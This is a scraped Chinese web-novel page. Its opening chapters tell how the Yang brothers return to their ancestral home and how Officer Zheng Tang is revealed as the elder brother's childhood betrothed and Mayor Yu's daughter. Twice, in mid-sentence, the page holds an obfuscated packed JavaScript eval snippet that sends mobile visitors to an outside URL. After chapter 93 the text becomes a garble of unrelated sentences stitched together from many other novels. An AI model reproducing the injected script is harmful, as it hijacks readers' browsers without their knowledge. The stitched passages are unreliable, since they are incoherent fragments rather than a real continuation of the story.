杨大哥心虚地闷咳两声,不敢与郑棠姐对视,支支吾吾道:“那个,夜深了……有些凉,给你加件衣服。” 郑棠姐:“……” 我与流苏:“……” 杨泽安:“???” 楼下的于县长夫妇还在哭着安慰自家闺女,心疼地向闺女承诺以后再也不忽视她的感受了。 杨大哥脸色不自在地别扭转移话题: “要是我没猜错的话,明天一早咱们就得收拾东西滚了。郑警官,你要办的事,办好了吗?” 郑棠眸色微沉,点头: “办好了。晚上八点,于县长夫妇正在忙着找那位张太太的替身演员打麻将,演戏给小晚看,我按照小晚给的线索又溜了进去…… 说来还要感谢你的那片柳叶,原来那柳叶可以隐身。 于平安这家伙太精了,我才进书房就被他抓个正着,幸好我手里捏着你给的东西,才没被他当场给人赃俱获拿了。” 杨大哥颔首:“所以,郑警官为什么会有于县长书房密码锁的备用钥匙?” 郑棠一顿,别过脸,“这个问题,恕我暂时不能回答你。” 杨大哥嗯了声,没有强人所难继续追问。 苏苏好奇问杨大哥: “为什么明天一早咱们就该走了?还有,那只小鬼不是在杨大哥你手上吗? 王瘸子和风柔他们为什么要说于玉澜的鬼魂已经被打散了?” “还看不明白吗?” 杨泽安抱着双臂悠哉悠哉道: “王瘸子估计和于县长通气了,演戏给于玉晚看呢! 江墨川不是用法力把于家罩住了吗? 只要那些小鬼靠近不了于家,不再以于玉澜的样子出现在于家,于玉澜就是真**!” “江墨川应该昨天就知道于玉澜没死的真相了,江墨川是王瘸子喊来的,大概是用于玉澜的事和县长做了交易。 他帮县长解决县长家的麻烦,县长认他的心上人风柔为干女儿。 今天郑警官又把小萦和苏苏带来了,郑警官插手了这件事,要是放任郑警官查下去,难保郑警官不会真把真相抖出来,所以他们才急着演这一出。 只有于玉澜的鬼魂被打散了,他们才能有合适理由把咱们请出去。” 杨大哥解释完,我和苏苏才完全明白。 “泽安哥哥,你今天下午说的,还有个好消息,是什么?”苏苏探头问。 杨泽安没心没肺道:“好消息是于玉晚能活到八十八!” 苏苏:“啊?” 杨泽安理直气壮地狡辩道:“她都被折磨成这样了,连、那啥都没了……能活到八十八很不错了好不好?” 我…… 竟无言以对。 事情的发展方向还真如杨大哥预想的那样,次日一早,于县长就迫不及待地以家中怪事已解决,不方便再留我们多住为由,把我们赶了出来。 好在我们早有心理准备,于县长刚提这一茬,杨大哥就爽快地一口应下。 早饭都没吃他们家的,杨大哥就直接带上我和苏苏还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474582|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨泽安一起厚着脸皮蹭郑警官的车,把我们全都捎回传说中的钻石杨老五老巢——杨家祖宅了。 杨泽安与杨大哥是富二代这个事,杨泽安小时候和我一起玩泥巴那会子就嘴上没把门,全都漏给我了…… 只是当年,我不信。 毕竟谁家富二代小公子会蹲在河边用尿和泥巴啊! 说句掏心窝子的话,小时候我连玩泥巴都不爱和他一起玩。 毕竟他有用尿和泥巴的前科…… 我嫌弃! 长大后,我才慢慢接受他是富二代的现实。 我晓得杨家很富,但郑警官的车行驶到杨家祖宅院墙外时,我才发现自己的想象力,还是不够丰满! 于县长的别墅对我而言已经很大,很豪气了。 而杨家祖宅……少说有八个于县长家那么大! 杨家祖宅的建筑风格还是百年前的豪门深宅大院样式,灰墙青瓦,雕梁画栋,飞檐翘角,亭台楼阁,像极了古装剧里大贪官的府邸! 不知道的还以为郊区路边新建了个仿古的景区。 光是沿着他家一面墙往大门口赶,郑警官就开车跑了足足八分钟! 更让人惊掉下巴的是,杨泽安说,他家门口那一整条路,包括附近三条商业街全是他家的…… 以他家为圆心,方圆五十里地的地皮,现在都挂在他和他哥名下。 他虽然当下走的是低调乡村风,可他在刚出生的那一刻就已经身价好几亿了。 而他和他哥之所以跑去槐荫村定居……纯属体验生活! 人与人的差距有时候就是这么、出乎意料的大。 早知道他家这么富得冒油,当初和他一起玩泥巴的时候我就应该讹他点钱! 车子在杨家祖宅的正门前停下,杨家那位面善的老管家早就带着一众保镖佣人等候在大门外了。 见杨大哥到了,老管家恭敬地快步迈过来,礼数周全的给我们开车门:“大少爷二少爷,萦小姐,流苏小姐,欢迎回来。” 杨大哥先下车,随后接我和流苏下去。 杨泽安关上副驾驶车门,伸个懒腰感慨道:“几天没回家,我家又变气派了!” 我无奈摇头:“你就显摆吧,你这么有钱,以前还总从我家顺东西走,你良心不会痛吗?” 杨泽安没个正形的将胳膊搭在我肩上,厚颜无耻道:“咱俩可是发小,你的就是我的,我拿自己的东西怎么会良心痛呢?” 我嫌弃地把他胳膊推下去,“你一边去,当心我家龙仙又放火烧你。” 杨泽安猛地想起来还有帝曦这一茬,赶忙甩着爪子离我远点, “哦对,你身边还有位脾气不大好的活祖宗……现在离你太近容易挨揍!” 郑警官也从车上下来,顺手关了车门,抬眼看着杨家祖宅门头的鎏金匾额,疑惑喃喃: “这里……我怎么感觉,有点熟悉。像是,以前来过?” 杨家的老管家听见这话,扭头瞧向郑警官,看清郑警官的正脸后怔了下,随即笑容可掬地低声提醒:“您上次过来,已经是二十五年前了。” 转而又笑着打趣杨大哥:“大少爷,你终于把大少奶奶带回来了。” 第92章 郑警官和大少爷有娃娃亲 “大、大少奶奶?” 杨泽安顿时咂舌道:“吴叔,你想抱大侄孙想疯了吧!看谁都像你大侄媳妇。” 杨大哥俊脸红了一片,尴尬闷咳两声: “吴叔,这位是县**局的郑警官,你别吓着客人。” 郑警官迷茫看了眼慈祥和善的老管家,不好意思地打招呼:“你好,我是郑棠……” 老管家仍笑吟吟地瞧着郑警官,有感而发道: “我知道,你是小棠嘛。 当年你跟着你母亲来家里做客,还是个小不点,每回都只敢躲在大少爷身后,抓着大少爷的衣角,让大少爷带你去花园玩。 我还记得,你小时候最喜欢吃家里做的桂花糖糕,可你啊脸皮薄,每次都不好意思和我们说。 但是大少爷懂你啊,你不肯主动要,大少爷就抱着你去厨房,你们两只小馋猫躲在厨房里偷吃,一躲就是小半天。 等晚上家里开饭,你和大少爷的肚子都被那些糕点填饱了,害得夫人总以为家里饭菜不合你胃口。 等你和郑太太走了,老爷和夫人才发现厨房里的桂花糖糕被你俩偷吃了一大半。 真没想到,当初那个爱趴在大少爷背上捉蝴蝶的小不点,现在已经长这么大了。 大少爷找了你很多年,可算把你给找回来了!” 郑棠神色不安地着急追问:“您见过我母亲?” 老管家在我们诧异的目光中从容解释: “看来,真是当年还太小,都不记得这些事了。 你母亲,是我家夫人的闺中密友,我家老爷与你父亲,也是因为你母亲的缘故才有机会结识,成为好友的。 你母亲是郑家大小姐,与我家夫人未嫁时,是邻居。 后来你母亲出事,你姥爷郑家老爷子举家搬离本地,走的时候把你也给带上了。 你们那一走连声招呼都没打,大少爷在学校得知这个消息后连课都没上,愣是徒步从学校跑到了你姥爷家。 奈何还是去晚了一步,你们的车刚走,大少爷就到了。 大少爷当时为了追你们的车,把书包都扔了,可他跑了一路早就体力透支,撑不住了,加上你们当时是坐车走的,大少爷没追几步你们的车就消失在路尽头了。 再后来,大少爷好不容易得知郑家老爷子在哪个地方安家,连夜驱车赶过去,又听闻,郑家已经不在了,你也下落不明。 这些年,大少爷为了找你,能用的方式都用了,我们都以为你已经遭遇不测了…… 好在,老天爷保佑,你终究还是回来了!” 杨泽安被他哥的八卦震得半晌说不出话,杨大哥叹口气,轻轻说:“先进去吧。” 郑棠不可思议地昂头问:“杨道长……你到底是谁?” 杨大哥愣住,似是不知从何说起。 老管家善意提醒: “哎呦,还叫什么杨道长……你们该不会现在还没相认吧! 小棠啊,这是你二狗哥哥啊! 你小时候来家里玩,每次都不让佣人姐姐陪你,大少爷走到哪你跟到哪。 郑太太哄着你喊大少爷哥哥,可你太小了,说话口齿不清,不会喊哥哥,第一年来家里总是趴在大少爷怀里没完没了地喊狗狗。 就这么喊了一年,第二年才学会叫哥哥,但以前的称呼你实在改不掉,所以叫着叫着,就成了二狗哥哥。” “二狗、哥哥……”郑棠听完,倏然红了眼眶,眼泪控制不住地簌簌往下掉。 “我、你们……”杨泽安见郑棠情绪转变得这么快,抽了抽嘴角,小声问他哥:“你不会真和人家郑警官是老相识吧?难怪你昨晚总是问起郑警官,还想查人家的底。” 杨大哥无奈别过头,心有不忍地顺手抓住郑棠手腕,浅声道:“好了阿棠,先回家。” 说完,带着郑棠姐先我们一步进门。 杨泽安惊讶不已地目送他们背影走远,忍不住扭头和我们吐槽: “他还叫她……阿棠!叫得这么亲!还回家,这里什么时候成郑棠的家了?” 我牵着苏苏淡定跟上杨大哥: “郑棠姐要是成了你嫂子,这里不就是她的家了吗? 你啊,自己找不到媳妇可别挡杨大哥的桃花。 杨大哥今年都三十来岁了,再不谈恋爱娶媳妇就奔四了!” 老管家尾随着我们赞同道: “萦小姐说得对,二少爷你成天嚷嚷着要做单身贵族,家里给你安排的相亲对象你还总放人家姑娘鸽子。 也就是人家姑娘脾气好才不和你计较,不然,你早就进圈里贵女择夫的黑名单了。 老爷像你这么大的时候,大少爷都会在地上跑了。 偏偏你和大少爷两位小主子都是不让人省心的,你不肯相亲,大少爷不肯结婚,老杨家的香火怎么办? 二少爷你别忘记了,咱们家可真有巨额家产需要继承! 你和大少爷都不成家生子,家里这么多钱,难不成真要捐给社会? 大少爷这回好不容易才与大少奶奶重逢,你可不许在中间乱说话,影响他俩培养感情。 咱家大少爷动一次心可不容易,就如萦小姐所说,再耽搁下去,大少爷就要奔四了。 男人年龄大了,难免身体素质会下降,到时候生出来的小孩可能不聪明。 二少爷你不就是个明显的例子,老爷和夫人三十四岁生的你,你和大少爷差了十岁。 想当年大少爷一出生就活蹦乱跳,五岁就上了一年级,十六岁就参加高考,考上了省重点大学。 到了你这呢,生下来瘦瘦巴巴的,还黑,在新生儿监护室里住了半个月才被接出来。 五六岁了还不会算简单的数学题。 所以为了咱们杨家后代的智商考虑,我还是得劝大少爷尽快把终身大事解决了。 大少爷那边安顿下来了,我也能少往你身上搭点心思! 你爱什么时候结婚就什么时候结婚,我不逼你了。” 杨泽安听着老管家的碎碎念心累道: “吴叔啊,你怎么人越老越能唠叨呢。 再说,我早就和你们讲过,我不喜欢包办婚姻,都什么年代了,还搞旧社会那一套…… 咱家又不是缺钱,又不是咱家有事求着别人。 是别人有事求咱家,为了得到点资源人脉就把亲女儿卖给别家当媳妇,我最瞧不起这种人了!” 老管家头疼纠正: “联姻是联姻,和包办婚姻、不同的! 人家的千金要是对你没意思,那姑娘会从十八岁等你等到现在吗?” “联姻和包办婚姻哪里不一样了?包办婚姻是卖女儿挣彩礼,联姻是用女儿置换资源。 你看贺老二和他媳妇,商业联姻,他在外面花天酒地,他媳妇在家里连个屁都不敢放。 他多次把他媳妇按地上打得全身是伤,圈子里谁不知道他经常家暴他老婆,可你看他老婆娘家有出面谴责过他一次吗? 那女孩只是现在还年纪小,不懂事,才会把家族利益放在首位,为了自家公司不惜硬着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474583|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮来讨好我换资源。 等她真嫁过来了,我们之间没有爱,我肯定无法做到……像对小萦一样,对她好啊!” “少爷啊,你怎么总以为,人家姑娘是冲着你钱来的啊!” “要不然呢?还能是冲着我的人? 我们才认识多久,见过几面? 在一起吃饭的次数一只手都能数过来,每回我去见她,还不肯给她好脸。 我都那么、给她委屈受了,她难不成还会对我一见钟情? 反正联姻,狗都不联! 你们就会压力我,既然非要商业联姻,我哥都这么老了,他才是名正言顺的继承人,要联也该他去联啊!” 老管家叹气: “你哥要是比你好搞定,我还会在这给你上压力? 十几年前我刚提过一次联姻,你哥倒好,转头出家当道士去了!你爸当年差点被他气死过去!” 杨泽安摊手:“我哥都不联姻,那我也不联姻,我是新时代的新青年,我要自由恋爱!我有自主选择爱人的权利!” 老管家嫌弃地白了杨泽安一眼:“你得了吧,你喜欢小萦这么多年也没见你把人家追到手!” 我:“???” 杨泽安捂心痛呼:“这不是还没来得及下手,就被别人截胡了嘛。” 老管家挑眉劝道: “所以,你这次回来,给我老实去找人姑娘赔礼道歉。 这个月生活费我多往你卡里打了三十万,你带人姑娘去高档餐厅消费一波。” 杨泽安脸黑:“老头,你以为这儿是京城啊?三十万我都能在这边的高档餐厅入股了!我把人家餐厅里能吃到的菜全买一遍,也花不完三十万!” “那你就带人家姑娘去省城吃!就当顺便旅个游了。” “要不然……你把这个女孩,介绍给我哥,我哥这种道士是可以结婚的……差个十一二岁无所谓,现在不是很流行年上恋嘛。” 老管家听不下去的一巴掌盖杨泽安头上: “你想得倒是挺美,真以为人家是卖女儿啊?联姻对象说换就换! 再说,小棠这个未婚妻还在呢,你让你哥去接盘你的联姻对象,你怕是嫌你哥活久了!” “未婚妻?”杨泽安好奇问道:“那个郑棠,真是我哥未来老婆啊?他俩什么时候定下的?我怎么不知道!” 老管家怜悯道: “小棠和你哥,是两家夫人指腹为婚。要不是郑太太命薄,走得早,你哥和小棠估摸早就结婚生子,幸福圆满了。” “郑警官她妈,是怎么走的?” “病故,她妈妈的情况比较玄乎。 去世前那一年,她妈妈突然得了很严重的精神疾病,总说家里有鬼。 夫人最后一次去她家见她的时候,她已经完全认不出夫人了。 没多久,她爸爸就打电话给你爸,说她妈妈在医院因病去世了。 她妈妈是她姥爷的独生女,她妈妈亡故后,她姥爷费了很大劲才把她从她爸爸手里抢过去,带着她一起举家搬迁。 只是,谁也没料到的是,她竟然又回到这个地方来了,还成了市**局的警官。 当年那件事对她打击那么大,她不该回来的。” 精神疾病,家里有鬼,跟着姥爷一起离开这里…… 这个描述,我怎么、好像昨天听杨大哥还有别人说过。 郑警官,是随母姓。 那她父亲…… 我有个大胆的猜测,小心翼翼问老管家:“郑棠姐的爸爸,是于县长对吗?” 第一卷 第93章 大王,采薇好想你 杨泽安再次错愕惊叫:“什么?!” 老管家笑笑,点头: “是啊,她妈妈是于县长的前夫人。要不然,怎么能和咱们家定娃娃亲呢。” 难怪,县长夫人说,那个家郑棠姐比于平安还有资格住。 原来那个家……是郑棠姐母亲的家。 “你的承诺,我不信,你是自己出局呢,还是我送你!”柳毅摇头,就在柳毅话落时,一道强光猛的冲至,从右侧一拳打穿了柳毅的大脑,在柳毅身前的司马啸风也同时出手,双拳袭出,直接贯穿了柳毅的胸腹。 摇头晃脑了一阵,转身离去,他要把呆子找来,一起进去把楼主救出来。 不回话,万志伟拿出一条递到她面前。云茉雨白一眼,接过后往他腕上戴好。 梁浩化身站起,也已经修炼了不灭魔体,此刻身上魔元充沛,让周怡更是确信,此人之前没用出全部实力。 都暻秀去给鹿晗煮粥,吴世勋细心的擦去鹿晗脸上的汗水,其他人则都各干各的。 其他的战斗方式则需要活用,此项研究达到最终级别的法师,自身可以短时间瞬移,对敌可以一击致命,就是对上禁咒也一样有一战之力,可见其强大。 忽然脑中灵光一闪,我猛的一拍大腿站起来,就当目光齐刷刷望向我时,我嗷的一声坐在地上。靠,忘记自己有伤了,我呲牙咧嘴的瞪着几乎要笑翻了的几个家伙。 第二天我醒来时没看见仓颉,过了一会儿仓颉回来并拿来了早饭,烤肉、烤玉米和水果。吃着没滋味,我把蛇皮包里的烤飞鸟和野鸡蛋拿出来给仓颉吃,结果仓颉是吃的连骨头都没剩几根。 凌箫感慨,让梁浩这个始作俑者站在一旁,听的也是有点尴尬了。 对于苍天看来,即使龙腾需要历练,但是龙腾这一次却是要去险地,虎啸帝国,曾经派人刺杀过他的虎天,绝对不会放过龙腾的。而且,这样的历练,也并没有多少的意义了,还是安全重要。 然而他却见到瑟琳娜老师拿着一张从帝都发来的邸报,显得忧心忡忡。 “天虎妖皇?唔,妖族的分工到还满明确的,妖皇下辖妖王?好了,我想知道我已经知道了,所以也用不着你了,我再想找到什么会去问你们的妖皇的。再见了。 我轻轻点了点头。那的确是一个西陆人。瑟琳娜不认得她,我却认得。 “爹,你们谈完了?”守在帐外的吴月婵见父亲走了出来,急忙亲切地迎了上去。 樊军刚喝水呢,闻言一阵咳嗽,呛得鼻涕直流,连忙跑进了卫生间。 但是通过这事,朱倾天也认识到罗成是个充满孝心的男人,这点让她很欣赏。 “行了,我们走吧,去街上吃点东西,然后去医院看看萌妹子吧。记住,到时候要表现出团结友爱的精神,要让她明白什么叫做家的温暖。”孙昊眯起眼睛笑道。 “你!……你不是已经……”完颜允棠吃惊地望着对方,显然眼前黑衣人的出现,是他之前所不能预计的。 对于这位久经战阵的老将而言,不会不知道宋军手榴弹这种火器对木制战船的杀伤力,所以为了让宋军的火器失去杀伤力,柳蒙是不会水师与宋军江面上作战的,这就是一种揣摩‘人心’。 第一卷 第94章 我想留住他 “大、”女人还欲争取,却被一股强劲寒风给卷扔了出去。 “嗳?大王,她她她,她不是你……” “银雀。” “我在呢大王!” “盯住她,不许她靠近风萦。” “啊?哦银雀晓得了,大王是怕她欺负娘娘…… 陆奇主属性为火,面对火焰自然是无所畏惧。但其他人就不同,临城希身体上的温度已经似乎已经超出了陆奇所能理解的身体承受范围。 可是乌恩奇摇了摇头,他用弃如刀割破了手指,一滴乌黑的血液带着恶心的腥臭味,从他指尖的伤口处流了出来,血液黏稠犹如泥浆。 慕容逸的法阵很强,到得后来,直接将斗隆逼的险象环生,斗隆的实力也不弱,但是在慕容逸的强大法阵面前,就算他竭尽全力,最终也难逃落败的命运。 “等这些人疗伤完毕,张九灵也好的差不多了。既然你愿意对上一个全盛的张九灵,我自然也没有什么意见。”丹霞生言罢,一跺脚的沿原路返回。 孙策大吃一惊,急拿佩剑从马背上砍去,但是不料,剑刃忽然断了,只剩下剑柄在手。 确实,融力学校还有其他修炼学校都是纽盖特统一之后新建的,使万灵帝国的强力数量和能力得到很大的提升,五十多年没出坑的暮夜当然不知道外界在发生着什么变化。 “来人,去把徐茂公大人,还有荀彧大人和柳大人他们给我叫来。就说我有要事要找他们商量。”薛仁贵刚刚回郡守府里面,就让下人把他们给叫来。 二十五皇子有些急了,张口吐出一颗龙珠,将乌云打出一个口子,顿时云销雨霁。破了雷霆,正要再出手散去下面的洪水,天上的日头一闪,喷下一缕火苗来。 杨广得到了肯定的答复,忍住惊讶心情,往下看了下去,却发现册子里事无巨细将河原的几项产业的经营收益都一一列了出来。 雅娜伊浅浅的一笑,倚在乌恩奇身边,将头枕在乌恩奇的肩上,她金色的长发散着淡淡的幽香,闻之中人欲醉。 九州大陆有针灸术,但却是大部分都是只能起到略微效果,所以针灸术只存在于传闻,真正见识过强大针灸术的人少之又少。 看着他抱着长信久久不愿意放手,看着他微笑着逗着孩子,好想时光就能一直这样走下去。 大内侍卫总统领和锦衣卫姜折桂,同时一个健步冲上前,举刀砍下了刘诲的人头!妈/的,生死关头还在弄权杀救兵,他不死所有人都得死了。 不,再多的话语也无法表达他的钟情。再长的时间都无法表露他的爱恋。他想说的话更多更远更深刻,现在只能包涵在这清醒的一刻时光和相握的两只手里了。 连赫连柯都这样想,难道他认为,“碧鲁先生”都不是这个“异空间”的对手?魏薇的心一阵阵下沉。我们真的会死在这里? 和林邵峰一起出了办公室的门,下了楼走在了公司的门口,林邵峰停下了脚步。 大清早上,天都才只是微微亮,许嘉音穿着运动服,脚穿跑步鞋,在一条绿荫跑道上等着。 陈洛身体一弓,俯冲过去,一记鞭腿猛地扫向羽天织,劲风呼啸,凌厉无比。 母凭子贵,青衣知道像自己这样从青家庄出来的人在燕城这样的郡城,自己的家世和修为比起一个平民百姓强不了什么,但现在像赖家这样的世家家主和自己说话都是异常的尊敬。 黄老大气得直跺脚,恨不得有把驳壳枪对着绿毛先撸十几万发子弹。 没时间了,看看我的潜龙拳能不能把它打破!想到这,力奥运起最后的力量,一拳击在结界之上,但是力量越大,它的反震之力也就越大。力奥一下子就被弹开了好几米! 雷婷婷钻进了白先生开来的车里,车门没锁,但是钥匙不在车上,雷婷婷一把拽开了线路盒,开始辨认起电线来。 钱丁洋却是没有在衡北市作任何停留,直接来到了西衡县城。徐东清等人自然是没有办法,也跟到了西衡县城。 张念祖耸肩,能打五六个壮汉,这怎么也算高手了,被这叔侄俩说得跟炮灰似的。 席撒坐在飞流而下的瀑布中段,她们停再更高些的提防,罂粟妃不需上水说话,于是两人只能静静等待,淋一身的寒水,没有声音,没有动作的等待。 余下竹灵梅韵洪后羿嫦娥五准圣。修为相差不远。但后羿有盘古大神脊梁所化的盘古弓。嫦娥有先天灵宝红绣球。所以原始才说后嫦娥乃是玄木岛门下攻守最为害之人。 尤一天雷电异能的意念一动,一股极强的脑电波冲向了幽雅附近的地面。 当他们逃到坡下,已丢下三十多具尸体,若非林中树木繁多,绝还不止。席撒懒得再追,看王将军只用箭射又不全速追赶的架势也知受有密令。等不多时,山坡上涌出中军,沐琳的座骑为首,左右跟随十数将领,缓缓下坡。 尹伊和徐光熙等出色的演员在电影中精彩绝伦的表演给我们带来了不可磨灭的印象。 叶流殇眸子间闪过几分怜惜,但并不懊恼,换个立场,他也会毫不犹豫的先走一步,将月影焰留下。 巴西勒馆长纠缠了一早上,也未能说服叶流殇将两部手稿拿出来,最终意识到这是叶流殇施加的惩罚,只得哑巴吃黄连,无奈的离开。 太阳毒辣辣的,照的官道滚烫,三人都戴着大斗笠,马匹也吃不住热,慢吞吞的走着。 杨羚明明看着他是穿着长裤下水的,也不怕他,连忙拿起一块石头,便扔过去,三人就这样一个在河边,两人在水中,玩耍了一阵。 哪怕蓝梦心中对叶狂恨之入骨,可是看到他那阳关帅气的面孔,她心跳也是忍不住的加速跳动。 第一卷 第95章 她其实从未信过你 大手握着我的腰,吻我吻得愈发深入,鼻尖吐息也愈发急促滚烫。 我壮着胆子收紧他缠在他脖子上的那双手臂…… 一丝暧昧的轻吟溢出鼻尖。 夜黑正浓,她翻来覆去睡不着,索性便起身坐活,可刚刚才一针,便猛然心下一颤,膝上放着的江山图,便慢慢的晕染开一朵妖艳的花朵。 看着南宫羽沫的背影,荼斐好像能想象的到,将来跟在她身边时威风八面的样,不自觉的傻笑了起来。 珍姐在秋玄动手之时,就离开了,还有很多事情需要她去做,只要最后两人比试的一天,她来看看就可以了。 于是本着职业道德的精神,李沉舟跟随着陈昊英离开,而他身为一位化劲的拳师,尾行一个陈昊英还不是简简单单。 不过也没有人在乎这些辈份问题,大家各交各得。不然还真为难了秋玄,他也不知道这辈分怎么算了。 翠红屏息宁声垂了眸,娘娘并没有在这个关头去唤她做任何事情,可她依然是觉得心惊胆战,格外不安。 “是你妈妈吗?”我紧张了起来,我的记忆里并没得关于欧阳妈妈的任何记忆,所以听到欧阳妈妈来了,难免忐忑不安。 押回来让他们跪成一排,询问山上信息,多少人马?首领是谁?山上有什么机关暗器? 全亚拍卖会很盛大,以前顾倾的资历都接不到邮件的。这一次能收到邀请邮件,也是挺不容易的。 沈玉心不自在的起了一身鸡皮疙瘩,什么“亲爱的”这更让她受不了,就是在美国他们也从未这样称呼过。 只是随着青鸟学院的发展,还有城市的扩大,现在的青鸟反倒成了雷萨德接近城中心的一座学院,不过青鸟在发展过程中并没有移动学院内部的山峰,反到是保留下了这些自然景观,连四周的山脉和地貌都没有改变过。 “我不。呜呜……”林如玉的坚强不足一分钟,下一刻泪水哗哗地往下落,呜呜的哽咽着,仿佛一只受伤的猫咪。 而有关已改装成殖民地雷射炮的格利普斯2号,正朝向可狙击格拉纳达的位置移动中的谣言,就是这样以相当的度在市民之间流传着。甚至从市民的口中还可以听得到执行作战的确定日期。 “教官,我特种连按照上级的指派到达目的地,从现在开始,一切指挥权都由您为主。”在不远处,果然如张敬标所说的在上午准时到达。 跟林淼在一起,虽然两人之间都很亲密,可是林淼总是把握着一个尺度,如果刘一飞有所过分,马上就会予以制止,现在更是跟他不睡同一张床上,两人之间也是少了很多暧昧的机会。 从最开始缓慢的刺激开始,李超凡操控着刺激的仪器开始逐步的刺激着麦克的手部以及手指上的神经系统,通过神经系统的反馈,李超凡停留在麦克大脑之中的精神能量这才感受到了属于管理麦克手指灵活度方面的大脑。 话音刚刚落下,突然的传来一声枪响,已经直接的朝着山川美的胸口射了过去,没有想到的是,山川美反应迅速,刚一往下缩,子弹正好打在了颈动脉之上,让山川美彻底的失去了生命。 第一卷 第96章 带黄河水神,上天问罪! 河边寒风猎猎,吹得我总想打喷嚏。 我听不懂地站在老槐树后,揉揉鼻头:“她是谁啊?” 小银鱼飘在我右肩处:“千年前就缠着大王不放的一只蚌妖。” 我恍然:“哦,原来是帝曦的追求者。” 保镖们你看看我,我看看你,像似达成了一致意见,你退一步,我也退一步。 而在这雕像手中,正捧着一团光球,银白色的光华无比璀璨,宛若悬挂在天空的烈日,烘烤着大地,令一切都黯然失色。 众人进入大厅之后,宇明方召开了自立之后的第一场会议,商量如今的对策。 风无忧双手猛然掐住了风白露的玉颈,双眸血红,龇牙咧嘴,狞笑连连。 一直在地上呜呜直哭的佛祖见李大牛召唤出来了原始之门,连眼泪都没来得及擦直接跳了进去,乐呵呵的沐浴着原始皇气。 遮天魔域中,一道夺目的强光正从白眉道尊的头顶迸射而出,一颗如星辰般璀璨无比的星宿本源升腾而。 “呃……”某某很想开口回答,可是看到布拉德利克一动不动的盯着兰斯没有丝毫要理会自己的样子,她只有摸了摸鼻子干笑的把自己想象成一团空气。 “没问题,大房子豪车咱现在买不起,冰激凌咱还买不起吗?”杨乐凡点着岳悦脑门说道。 离行刑的时间还早,广场四周的人们都还没有聚拢,而是分散开来三三两两的聊着天。 半个时辰后,唐军方慌乱的从城墙上撤了下来,然后重新整编队列,开始向南方开进,准备迎接一场更为惨烈的战斗。 吃完饭后,林凡赶去了第二个场子,是玉天恒搞的庆功宴,同时庆祝林凡成为贵族。 这里不仅有KTV,还有私人影院、游戏房等外界有的一切娱乐设施。 那之前的所有可恶的行为都能够解释通了,肯定是在故意惹自己,想博关注而已。 随后将自己要外出一段时间的事情告诉丁明,诸葛字,方闲等人后。 突然之间,张超强时刻作用在刘峰身上的注意力,明显注意到对方眼神当中的那一层暴戾状态,有所收敛。 顾若娇被卫铮抱着,经过门口的时候,看见木门和铁门都毁得差不多了,门附近的鞋柜和杂物也烧得完全看不出是什么,尤其是墙面,简直不能看。 何冠林人脉非常广,做事也靠谱,他能这么说,就能把事情办好。 但大概就似人们永远也不能相信赌徒嘴里说的最后一次一样。李氏生气自己时候是真生气,可下次再来李家人哀求她时候,她也会依旧再高高在上的宛如施舍一般,继续给钱。 他已经死了百万年时间,因为真龙后辈出现了危险,他这才带着真龙历代的强者现身。 “谢谢!谢谢!”杨思远说着,打起脚尖,从护士的头顶看着产房里面,想看一眼洛楚楚还有儿子。 而且这也不知道是多少年前的了,在外面的蝎子怕是一代又一代的传了下去,肯定不少!看来,自己要引起注意了,要是出去后,还得想办法去清理一下,别伤到了村里人了那就麻烦了。 李淑贞低声地问吴雨桐,“我师傅也离开吗?”其实她也知道自己是明知故问。 原本,当他看到锤石扔下灯笼的那一刻,冯晓就生不起什么杀心了,换做是谁都是这样认为——这波老鼠不可能会出事。 尽管两人是好友,是闺蜜,肖绛不会不容人到这个地步,但练霓裳所作,更是表明她珍惜二人之间的友谊,不留半点被人诟病的空子。 秦大婶气得涨红了脸,但却没再骂出声来。转身自己抹了一下眼睛,往菜地去弄点菜回来吃。 “姐?”贺兰致远没想到会见到贺兰瑶,握在剑上的手松了一下,剑一下子就脱了手。 只是他们前脚离开,后面那种大浪下,就起了一个巨大的漩涡。只见这个漩涡越来越大,而在它的中间,却是从中升起一道水柱。 “什么意思?”狼牙在一边挠了挠后脑勺,显然没有明白我们话里的意思。 “应该是想多了,这个应该是哪位不长眼的下人路过……”有人松了一口气,这般自我安慰。 他们十二人都需要这么警惕的看着这个大门,说明这大门后有着他们所畏惧的东西,而且还有可能对自己造成威胁。 苏峰看着这一幕不由得也有点好笑,明明是一个谈判,怎么感觉都要掀桌子了。 这些孩子免了下雨天山路的泥泞——十里八村的每年都有摔死的。 大厅内埋伏着弘义社的数十名精英,正在二楼居高临下向燕孤城兄妹和影三射击,三人都实力不俗,自然不惧,直接就攻上二楼将精锐给杀了个干净。 刚开始来到这个世界的时候,沈长青有些不适应,可久而久之也就习惯了。 虽不明就里,不过能进门总是好事,当下便在亲兵的迎接下向里面走去。 这让她很是警惕,每天家中和美容院两点一线,除了唐楠那些推脱不掉的邀请外,其他时间绝对不跟唐剑锋多接触。 第一卷 第97章 你的良人,不会是本王 “娘娘,原来你说的救命之法……是一命换一命。 您放心,千年之后,碧瑜,定接您与大王,回家……” 百圣学院的名头,压都能压死人,即便是王者听到公孙庆这样的话,都会有所忌惮。 那个曾经也这样宠溺着她的圣,那也是一位俊美的再也找不到合适的词来形容的男子,中华字典五千字,哪一个词用在他身上似乎都是对他的一种亵渎。 她比不了狐狸狡猾,以后,还是离得远一些比较好。省得什么时候被它卖了还什么都不知道。 